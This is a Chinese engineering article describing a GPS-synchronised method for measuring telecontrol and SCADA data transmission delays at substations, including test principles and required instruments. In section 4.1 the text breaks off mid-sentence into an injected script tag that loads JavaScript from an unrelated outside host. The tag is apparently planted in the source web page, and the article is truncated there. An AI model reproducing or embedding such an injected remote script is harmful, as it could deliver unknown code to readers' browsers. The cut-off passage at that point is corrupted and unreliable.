一种基于GPS的测量远动系统传输延时方法

摘 要:在调度实用化验收和新建厂站的远动设备投产验收工作中,均需要测试厂站的模拟量变化和状态量变位至调度端的信息传输延时,用以检查该装置或系统是否达到技术标准。传统的人工电话同步测量方法已较落后,且缺乏科学性。文中介绍了一种利用全球卫星定位系统(gps)接收装置和信号发生器组成的,并在主站端实施gps同步的同步延时测量系统。该系统具有实用性强、准确性高的特点,可用于远动专项测试工作。

关键词:远方终端装置;监控和数据采集系统;延时;测试;全球定位系统

1 引言

随着计算机技术的迅猛发展,电力系统的远动装置由原先的集中式远方终端装置(remote terminal unit,rtu)发展到后来的分布式rtu。近年来,大型变电站和发电厂的监控系统的建设已取代了传统的rtu装置,其系统结构之复杂和信息传输接口之多,使得人们越来越重视其信息传输的实时性。但在工程验收或进行实用化验收时,由于缺乏必要的设备和理想的方法,使得远动系统的实时数据传输延时的测试难以取得准确的实际数据。

2 现有系统延时的测量方法

从20世纪90年代初的实用化验收工作开展到现今的工程验收,基本上都是沿袭依靠传统的电话传话来进行同步测量。其实现方式是厂站测试人员根据另一名打电话的测试人员的口令来同步现场的遥信变位和大数据变化,而主站测试人员则根据其口令,用秒表记录下此时画面数据刷新的时间,以此作为传输延时的时间。

这种方法有很大的随意性,由此测出的数据也往往会引起争议。

3 基于gps技术的测量系统延时的方法

全球卫星定位系统(global positioning system,gps)的应用为大系统同步测量提供了技术条件,其精度优于1ms[1]。20世纪80年代中期,gps开始应用于电力系统,并得到推广。

(1)测试原理和系统示意图

模拟量变化延时测试是利用信号发生器模拟变送器的输出并且接入输入模块,利用方斜波信号的下跳阶跃(相邻2波形的下跳阶跃间隔时间应足以避开系统的传输延时),记录监控与数据采集系统(supervisory control and data acquisition,scada)库中发生的大数据跳变的时刻,即系统的模拟量变化传输的延迟时间。gps接收装置的同步输出信号和信号发生器的同步输出信号同时接入双踪示波器,用以计算信号发生器方斜波信号下跳阶跃的绝对时间,经gps对时的scada库中记录下的发生大数据跳变的绝对时间,二者的差值就是所要测的延迟时间。为确保在正常通信方式下模拟量变化的传输,在此测试过程中不能发生状态量变位事件,否则应重新测试。图1为信号发生器的输出信号和同步信号。a通道显示的是方斜波信号,b通道显示的是同步输出信号。图2为测试系统中信号发生器的同步输出信号(a通道)和gps接收器的分时钟同步输出信号(b通道)。图中信号发生器的大数据跳变时刻发生在整分(分同步信号的上跳)前2.4 s。

状态量变位延时测试是利用gps接收装置的分钟同步输出信号触发模拟状态量变位并经过一继电器的输出节点接入输入模块。该继电器受gps接收器的分钟同步信号的控制。该回路的电压信号接入示波器的1个通道,示波器的另1个通道接入gps的同步信号,用以精确计算在装置侧发生状态变化的绝对时间(示波器上可以精确地读出继电器的执行时间)。经gps对时的scada库中记录下发生的状态量变位的绝对时间,二绝对时间的差值就是状态量变位传输的延迟时间。

图3为测试系统示意图。

(2)测试设备

实现本测试方案至少需要下列设备和仪表:

· 带有同步信号输出的gps接收装置(对时精度优于1ms)1套

· 具有方斜波输出功能的信号发生器1台

· 具有记录功能的双踪示波器1台

4 有关问题

4.1 通用性问题

(1)监控系统和各类rtu均可使用

由上可见,厂站的scada系统无论是采用监控系统组建还是采用rtu组建,均可以采用本文方法测试传输延时。

(2)变送器输入和交流采样均适用

上面的模拟量变化传输延时测试的厂站端原理描述,主要是针对采用变送器输入模式的监控系统或rtu装置。该方法稍作调整即可用于交流采样输入的系统,进行模拟量变化传输延时测试。

具体方法是:将高精度的三相测试电源接入交流采样装置的输入模块,并以恒定功率送出,其中1相电压经过1个继电器的输出节点接入输入模块,使该继电器受gps接收器的分钟同步信号的控制。该电压回路信号接入示波器的1个通道,另1个通道仍接入gps的同步信号,用以?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计